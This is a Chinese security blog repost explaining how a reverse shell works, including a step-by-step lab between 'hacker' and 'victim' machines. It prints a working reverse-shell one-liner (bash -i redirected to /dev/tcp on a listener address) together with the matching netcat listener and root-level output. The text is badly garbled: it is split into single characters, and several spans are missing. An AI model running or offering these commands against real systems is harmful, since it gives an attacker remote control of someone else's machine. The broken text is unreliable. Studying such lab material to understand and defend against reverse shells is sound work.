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[21529] 2020-12-22_反弹shell原理与实现
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2020-12-22_反弹shell原理与实现
反
弹
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l
l
原
理
与
实
现
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S
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转
自
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博
客
什
么
是
反
弹
什
么
是
反
弹
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反
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是
控
制
端
监
听
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C
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D
P
端
口
,
被
控
端
发
起
请
求
到
该
端
口
,
并
将
其
命
令
行
的
输
入
输
出
转
到
控
制
端
。
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v
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等
标
准
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h
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l
对
应
,
本
质
上
是
网
络
概
念
的
客
户
端
与
服
务
端
的
角
色
反
转
。
为
什
么
要
反
弹
为
什
么
要
反
弹
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h
e
l
l
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?
通
常
用
于
被
控
端
因
防
火
墙
受
限
、
权
限
不
足
、
端
口
被
占
用
等
情
形
。
举
例
:
假
设
我
们
攻
击
了
一
台
机
器
,
打
开
了
该
机
器
的
一
个
端
口
,
攻
击
者
在
自
己
的
机
器
去
连
接
目
标
机
器
(
目
标
i
p
:
目
标
机
器
端
口
)
,
这
是
比
较
常
规
的
形
式
,
我
们
叫
做
正
向
连
接
。
远
程
桌
面
、
w
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b
服
务
、
s
s
h
、
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n
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t
等
等
都
是
正
向
连
接
。
那
么
什
么
情
况
下
正
向
连
接
不
能
用
了
呢
?
有
如
下
情
况
:
1
.
某
客
户
机
中
了
你
的
网
马
,
但
是
它
在
局
域
网
内
,
你
直
接
连
接
不
了
。
2
.
目
标
机
器
的
i
p
动
态
改
变
,
你
不
能
持
续
控
制
。
3
.
由
于
防
火
墙
等
限
制
,
对
方
机
器
只
能
发
送
请
求
,
不
能
接
收
请
求
。
4
.
对
于
病
毒
,
木
马
,
受
害
者
什
么
时
候
能
中
招
,
对
方
的
网
络
环
境
是
什
么
样
的
,
什
么
时
候
开
关
机
等
情
况
都
是
未
知
的
,
所
以
建
立
一
个
服
务
端
让
恶
意
程
序
主
动
连
接
,
才
是
上
策
。
那
么
反
弹
就
很
好
理
解
了
,
攻
击
者
指
定
服
务
端
,
受
害
者
主
机
主
动
连
接
攻
击
者
的
服
务
端
程
序
,
就
叫
反
弹
连
接
。
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知
乎
:
反
弹
s
h
e
l
l
是
什
么
意
思
啊
?
网
上
看
了
半
天
都
没
有
相
关
的
基
础
的
解
释
?
反
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反
弹
s
h
e
l
l
实
验
实
验
环
境
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两
台
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听
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定
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这
个
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件
是
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存
在
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它
只
是
实
现
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用
来
实
现
网
络
请
求
的
一
个
接
口
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打
开
这
个
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件
就
相
当
于
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出
了
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调
用
并
建
立
一
个
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连
接
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写
这
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件
就
相
当
于
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这
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连
接
中
传
输
数
据
。
通
过
以
下
通
过
以
下
4
个
小
测
试
来
分
析
反
弹
个
小
测
试
来
分
析
反
弹
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实
现
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程
:
实
现
过
程
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P
S
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注
意
执
行
步
骤
顺
序
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测
试
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准
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出
重
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向
到
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击
端
,
但
是
还
没
实
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用
命
令
控
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受
害
端
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测
试
测
试
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害
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将
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击
端
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输
入
重
定
向
到
受
害
端
,
但
是
攻
击
端
看
不
到
命
令
执
行
结
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三
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试
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#
攻
击
端
:
[
r
o
o
t
@
h
a
c
k
e
r
~
]
#
n
c
-
l
v
p
5
5
6
6
/
/
第
一
步
N
c
a
t
:
V
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r
s
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o
n
7
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5
0
(
h
t
t
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p
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n
c
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L
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s
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i
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g
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:
:
5
5
6
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N
c
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:
L
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s
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n
i
n
g
o
n
0
.
0
.
0
.
0
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5
5
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C
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n
n
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c
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r
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.
2
0
1
.
6
1
.
1
9
5
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N
c
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:
C
o
n
n
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c
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o
n
f
r
o
m
1
0
.
2
0
1
.
6
1
.
1
9
5
:
3
6
7
9
2
.
h
o
s
t
n
a
m
e
/
/
第
三
步
(
攻
击
端
执
行
命
令
)
v
i
c
t
i
m
i
d
/
/
第
四
步
(
攻
击
端
执
行
命
令
)
u
i
d
=
0
(
r
o
o
t
)
g
i
d
=
0
(
r
o
o
t
)
g
r
o
u
p
s
=
0
(
r
o
o
t
)
h
a
h
a
h
a
/
/
第
五
步
(
执
行
一
个
错
误
的
命
令
)
/
/
测
试
3
结
果
:
基
本
实
现
了
反
弹
s
h
e
l
l
的
功
能
。
但
是
受
害
端
的
机
器
上
依
然
回
显
了
攻
击
者
机
器
上
执
行
的
命
令
,
且
攻
击
端
看
不
到
错
误
命
令
的
输
出
。
测
试
测
试
4
(
将
上
面
三
个
测
试
结
合
。
将
标
准
输
入
、
标
准
输
出
、
错
误
输
出
全
都
重
定
向
到
攻
击
端
)
:
受
害
端
:
[
r
o
o
t
@
v
i
c
t
i
m
~
]
#
b
a
s
h
-
i
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d
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v
/
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c
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1
0
.
2
0
1
.
6
1
.
1
9
4
/
5
5
6
6
0
>
&
1
2
>
&
1
/
/
第
二
步
。
或
#
b
a
s
h
-
i
&
>
/
d
e
v
/
t
c
p
/
1
0
.
2
0
1
.
6
1
.
1
9
4
/
5
5
6
6
0
>
&
1
(
注
:
&
>
或
>
&
表
示
混
合
输
出
,
即
标
准
输
出
1
+
错
误
输
出
2
)
攻
击
端
:
[
r
o
o
t
@
h
a
c
k
e
r
~
]
#
n
c
-
l
v
p
5
5
6
6
/
/
第
一
步
N
c
a
t
:
V
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o
n
7
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5
0
(
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:
:
:
5
5
6
6
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c
a
t
:
L
i
s
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n
i
n
g
o
n
0
.
0
.
0
.
0
:
5
5
6
6
N
c
a
t
:
C
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n
n
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c
t
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n
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r
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1
0
.
2
0
1
.
6
1
.
1
9
5
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N
c
a
t
:
C
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n
n
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c
t
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r
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0
.
2
0
1
.
6
1
.
1
9
5
:
5
1
1
8
2
.
[
r
o
o
t
@
v
i
c
t
i
m
~
]
#
h
o
s
t
n
a
m
e
/
/
第
三
步
。
测
试
4
结
果
:
攻
击
端
已
获
得
受
害
端
的
远
程
交
互
式
s
h
e
l
l
,
而
且
受
害
端
没
有
再
回
显
攻
击
端
输
入
的
命
令
~
h
o
s
t
n
a
m
e
v
i
c
t
i
m
/
/
P
S
:
由
测
试
3
、
测
试
4
对
比
可
见
,
标
准
错
误
2
不
仅
显
示
错
误
信
息
的
作
用
,
居
然
还
有
回
显
输
入
命
令
和
终
端
提
示
符
的
作
用
~
~
~
总
结
总
结
:
本
文
整
理
了
反
弹
s
h
e
l
l
的
一
些
资
料
并
通
过
实
验
理
解
反
弹
s
h
e
l
l
原
理
。
深
入
理
解
文
件
描
述
符
和
重
定
向
才
能
更
好
弄
懂
反
弹
s
h
e
l
l
~
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
参
考
:
h
t
t
p
s
:
/
/
x
z
.
a
l
i
y
u
n
.
c
o
m
/
t
/
2
5
4
9
先
知
社
区
:
L
i
n
u
x
反
弹
s
h
e
l
l
(
二
)
反
弹
s
h
e
l
l
的
本
质
h
t
t
p
s
:
/
/
w
w
w
.
f
r
e
e
b
u
f
.
c
o
m
/
a
r
t
i
c
l
e
s
/
s
y
s
t
e
m
/
1
5
3
9
8
6
.
h
t
m
l
F
R
E
E
B
U
F
:
浅
析
重
定
向
与
反
弹
S
h
e
l
l
命
令
一
如
既
往
的
学
习
,
一
如
既
往
的
整
理
,
一
如
即
往
的
分
享
。
感
谢
支
持
“
如
侵
权
请
私
聊
公
众
号
删
文
”
扫
描
关
注
扫
描
关
注
L
e
m
o
n
S
e
c
觉
得
不
错
点
个
觉
得
不
错
点
个
“
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”
、
、
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